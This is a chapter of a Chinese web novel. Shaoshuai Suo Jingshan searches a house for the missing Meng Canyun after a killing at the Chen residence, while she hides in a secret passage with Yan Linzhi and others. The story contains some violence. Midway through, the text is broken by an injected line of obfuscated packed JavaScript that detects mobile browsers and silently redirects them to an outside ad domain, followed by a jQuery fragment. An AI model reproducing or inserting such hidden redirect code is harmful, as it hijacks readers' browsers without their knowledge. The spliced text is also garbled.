53. 索靖山的营救
作品:《佛窟愿》 索靖山猛地踹开门。
前脚刚跨进门槛,一群黑影突然围上来。
他身后的士兵立即举枪相对,两拨人剑拔弩张。
“啊,是索少帅!——”
黑衣打手让开一条走道,一个身材矮圆的人快步走出来。
是红云楼的老板王齐。
“王老板?”索靖山略感意外。
“少帅!我原本去陈府赴宴……”王齐一副惊魂不定的神色,向他颤巍巍状告逃命的经历,“……警察胡乱抓人,我仓皇跑到此处躲避,却发现……”
“发现什么?”
王齐抿嘴不说,却朝灶房望了一眼。
索靖山见他欲言又止,大步走进灶房。
灶房的温度比屋外暖和不少,中央烧着一盆柴火,像是熄灭不久,还冒着丝缕青烟。
火盆旁边躺着一个人,满身血水,辨认不出长相。
索靖山走过去探了探他的鼻息。
死了。
“这是谁?”
王齐站在门口,背对他答道:“不认得。我带着我的人刚躲进来,就发现他躺在这儿。我见出了人命,预备去报警,又记着警察正在陈府抓人。正不知如何是好,您就来了。”
索靖山看了一眼他神色惊恐的模样,低头去看死尸:
腿部两处枪伤,腹部、胸口既有刀伤又有鞭伤,脸被人划烂,其他地方则是滚水淋烫的痕迹。致命伤在脖颈,一刀毙命。
凌虐再杀,很像拷问的手段。
索靖山目光逡巡,突然发现尸体压着一把手枪——
柯尔特M1911。
这种款式的手枪比较罕见,一般只出现在高级将领手中。
“少帅!”程副官跑进屋,对他摇头道:“都找了一遍。”
索靖山忍不住凝眉,身上的寒气倏然加重。
从接到消息到赶去陈府,一个钟头的时间,附近能躲藏的地方都被他翻遍。
这样大的雪,她一个人不会跑远。
可为什么还是找不到?
想到陈府的惨状,他的胸口就像被人打了一拳,沉闷的难以呼吸。
索靖山看着手里的帽子,用力攥紧。
“再搜!”
“少帅。”王齐看着他们里外搜查,脸上浮现出一丝不安的神色,“您可是在找什么人?”
索靖山冷眼看他,反问:“我倒想问,警察抓人,王老板跑什么?”
王齐表情微苦,叹了一口气:“私贩文物违反法律。陈巨仁打着展会的旗号,行私贩文物的勾当,警察抓他自是天经地义。可王某只是凑趟热闹,若连坐被抓,面子上既不光彩,红云楼的生意恐怕也要耽误不少。因此才想着先跑为上。”
派吴龙去陈府搅局的借口,的确是“抓文物贩子”。
当时交代他一要活捉王仲昌和塔科夫,二要把展会的经卷收归充公。
只是没有想到中途陡生变故,整个警察署的警力全部折损。
不仅屠戮政府公职,而且行凶地点还是市区核心位置,足以见得这群亡命之徒并没有把军政府放在眼里,甚至有故意激惹军政府的嫌疑。
若真是这样,一旦他们知道孟灿云的身份,必定不会轻易放过她。
索靖山再次心口发紧。
“你与警察打过照面了?”他反问。
“当时我们正在藏宝楼听陈巨仁讲宝贝,门房跑来通报说警察来了,我们立刻就跑了。幸而没来得及撞见。”
“你们?”索靖山眉峰一挑,抓住重点。
“是王某及身边跟的这些手下。”王齐补充道,擦了擦额头的虚汗。
索靖山看向屋外,十几个打手站在雪地,雪淋了满头满身,个个黑衣花白。
“把他们叫进来。”
王齐便叫打手进屋。进屋前,他又嘱咐道:“把身上的雪都拍拍,别把寒气带进屋,冷到少帅。”
索靖山看了他一眼,没有说话。
打手们鱼贯而入,站成一排。黑压压的一片顿时将屋内填满。
索靖山围着他们,慢慢踱步。
这些打手的衣服都很干净,偶有几人身上印着深色痕迹,不过看起来像是雪融化后的水迹。
“伸手。”他命令道。
打手们齐刷刷伸出双手——
粗壮且有剥茧,除了冻得通红,手也都很干净。
索靖山在一个体型偏瘦的打手面前站定,问:“枪法如何?”
瘦青年没有回答他,却向王齐望着。
王齐心头忐忑,忍不住询问:“少帅,您这是……”
“想收几个兵。王老板舍得割爱吗?”
王齐尴尬笑道:“我养的这些登不得台面。手里的两下子看家护院尚可,为您效力却是欠点福气。”
见他推托,索靖山冷笑一声:“行,我不要人。”他语气一转,对打手呵道,“卸枪!”
几乎本能的,打手们纷纷把腰间的手枪卸下,扔在地上。
王齐心头一惊,正要拦,瞧见索靖山冰冷的眼神,又生生把“住手”两字咽回肚子。
“这些枪我先替王老板保管,哪天王老板的人能上台面了,我再完璧归赵。”说完,一个士兵跑进来,把地上的手枪全部抱走。
王齐眼睁睁等着,只能哑巴吃黄连,有苦说不出。
这时,程副官再次来报,还是没有发现孟灿云的踪迹。
索靖山决定不再逗留,看了一眼死尸,对王齐道:“出了人命,少不得委屈王老板跟我走一趟。”
王齐连连点头,很是配合:“这是自然。”
索靖山收兵,正要离开。
原本已经跑到屋外的警犬突然掉转头跑回来,对着灶台一阵狂吠。
*
索靖山闯进来的时候,潘太爷来不及逃走,便匆匆携了芳儿、言麟之、王仲昌、王立志和孟灿云几人一起躲进密道。
原本他们应该一直向前,往陈府方向走。可惜密道狭窄,空气不流通,潘太爷走了两步就窒息难耐,只能暂停不动,期盼王齐尽快把来人打发走,以便再爬回去。
孟灿云紧挨言麟之坐着,脸色煞白。
陈巨仁死时的场景不停在她眼前回放,芳儿手起刀落的狠戾令她整个人被浓烈的不安包围。
以至于屋内那人熟悉的声音,她都没有认出来。
只怔怔坐着,连呼吸都微弱的好似没有。
言麟之察觉到她的异常,轻轻碰了碰她的肩膀,用气息唤她:“小孟。”
孟灿云恍如梦醒,转头看向言麟之。
借着微弱的光线,言麟之见她神色茫然,明白她是吓得不轻。
他握住她的手,预备给她一些安慰,转念想到什么,手掌触电似的又立马松开。
“陈巨仁死的不冤。”他凑近她耳朵,小声说道,“芳儿原是陈巨仁姨太太的亲妹妹,十岁里差点遭他玷污。后来阿爷救走芳儿,陈巨仁找她姐姐日夜凌辱,直把她姐姐折磨疯魔,最终投缳去了。”
孟灿云微微一震,听他继续说:“陈府的一砖一瓦都是黑心手段得来,遭陈巨仁戕害之人,下场比他更凄惨。他今日死得便宜,不然将他交给泰兴洋行的陈氏,陈氏大老爷必定活剥他的皮,叫他求死都不能。”
“陈氏大老爷,是陈奇望?”孟灿云忍不住发问。
“嗯。你认得?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098395|161888||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“我之前在华茂大饭店参加文艺保护会议,碰见过他办寿。”孟灿云记起吃饭时,王立志惹怒陈巨仁的话,心中惊疑不定,“为什么陈氏大老爷想杀陈巨仁?他们不是早就没有来往了吗?”
“这里面既有旧怨又有新仇。旧怨是他杀父杀兄,新仇则是他坑害陈氏小少爷,诱他染上了大烟。”
陈巨仁早年因为想独吞家产,雇人杀父杀兄。事情败露后,被赶出家门。虽苟全一条命,可他不知悔改,始终惦记泰兴洋行的股份,一直在盘算如何侵吞陈氏。
前车之鉴让他不敢再有过激的举动,他便想到一个损招——引诱陈家唯一的小少爷赌博、逛窑子,让他自甘堕落。
富贵人家的少爷,大都是不学无术、纨绔败家的。赌博、逛窑子并不是什么稀罕事,毕竟是流传千百年的消遣,玩的再大,只要钱管够,不至于伤及根本。
抽大烟则不同,一旦上瘾,钱再多也买不回一条健全的命。
因此,禁止抽大烟也是陈家最严厉的家规。
现在陈家小少爷犯了家规,轻则不能继承家产,重则染毒殒命。
无论哪种下场,陈家小少爷都算是彻底废了。
陈奇望怎能不恨?
孟灿云听言麟之讲述原委,心一点一点沉下去。
正难过的时候,王立志突然伸脚踢了一下她跟言麟之。
“你们两个!”他恶狠狠瞪眼,憋着气息吼道:“嘀咕什么呢!”
两人抬头,发现潘太爷正靠着芳儿的肩头顺气,眼睛却冷冷盯着他们。
索靖山在屋内徘徊不去,潘太爷心慌气短,他不由有些着急。
言麟之建议道:“阿爷,索靖山一向警觉,若放任他细搜只怕会漏马脚。不如放小孟出去,尽快把他打发走,您也好早点出去透气。”
潘太爷没有做声。
言麟之继续道:“我们这些人里,也就小孟和芳儿是生脸孔,我想着芳儿要服侍您,才举荐小孟。您若有其他考虑,也可以让芳儿出去,那我便替芳儿服侍您。”说着,他预备起身替换芳儿。
这时,头顶上传来一阵响动,一声声猛砸下来,吓得众人心惊肉跳。
潘太爷终于有所松动,采纳了他的提议:“就孟小姐吧。你好好儿交代。”
言麟之重新坐回孟灿云身边,犹豫了一下,他还是握住了孟灿云的手。
“小孟,外面来的是督军府的索少帅。你跟他不认得,他也不会拿你怎么样,所以你别害怕。出去后想个法子打发他带你走,越快越好,能做到么?”
孟灿云很快反应过来,这是言麟之为她争取的逃命机会。
她不懂言麟之为什么要帮她,明明带她陷入危险的也是他。
手背上的手冰冷如铁,紧紧握着她,却好似掌心有一片火。
“我尽力。”
言麟之又嘱咐:“今日遭遇值当做了一场梦,所见所闻不要对任何人提起,记住了么?”
他特意强调”任何人”几个字。
孟灿云明白他的意思,点头应下。
言麟之松开她。
外面的狗突然狂吠,声音越来越近。
潘太爷突然道:“孟小姐若对麟儿有一星半点的顾念,哪些话该说哪些话不该说,须得仔细掂量清楚。”
孟灿云最后看了一眼言麟之,赶紧爬向灶台口。
头顶的锅盖突然被人拿开,明亮的光泻下来,眼帘引入一张冷峻的脸。
孟灿云喉咙一热,抢在索靖山之前大声喊道:“索少帅!您是来救我们的吗?我想回家,我想找我表哥!”
说完,她紧紧抱住索靖山,附在他耳边小声说:“快走!”